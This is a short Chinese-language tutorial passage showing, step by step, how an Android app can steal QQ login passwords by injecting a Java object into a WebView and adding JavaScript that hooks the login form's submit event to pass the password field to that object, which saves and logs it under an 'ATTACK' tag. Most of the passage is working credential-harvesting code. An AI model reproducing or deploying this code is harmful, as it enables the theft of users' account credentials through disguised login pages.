首先向WebView注入Java对象,在WebView加载完毕的时候执行一段js,给表单提交事件关联上我们的代码,即让表单提交的时候执行所注入的Java对象的一个方法,js执行我们的方法的时候可以把qq号和密码作为参数传递过来,然后我们就可以保存了。下面的步骤只示范如何把qq密码存下来。
1. 声明要注入的Java对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class SavePasswordJavaScriptInterface { public void savePassword(final String password) { Log.w("ATTACK", "enter spjsinterface:"+ password); mHandler.post(new Runnable() { @Override public void run() { mPassword = password; Log.w("ATTACK", mPassword); } }); } }
|
2. 注入上述对象
1 2 3 4
| mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface"); mWebView.loadUrl(LOGIN_URL);
|
3. 在WebViewClient中的onPageFinished方法中注入js,这样当登录的时候就会调用我们之前注入的Java对象,同时乖乖地把密码作为参数传过来
1 2 3 4 5 6 7 8 9 10 11 12
| @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); if (url.equals(LOGIN_URL)) { String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}"; Log.w("ATTACK", "inject js, js= " + js); view.loadUrl("javascript:" + js); } }
|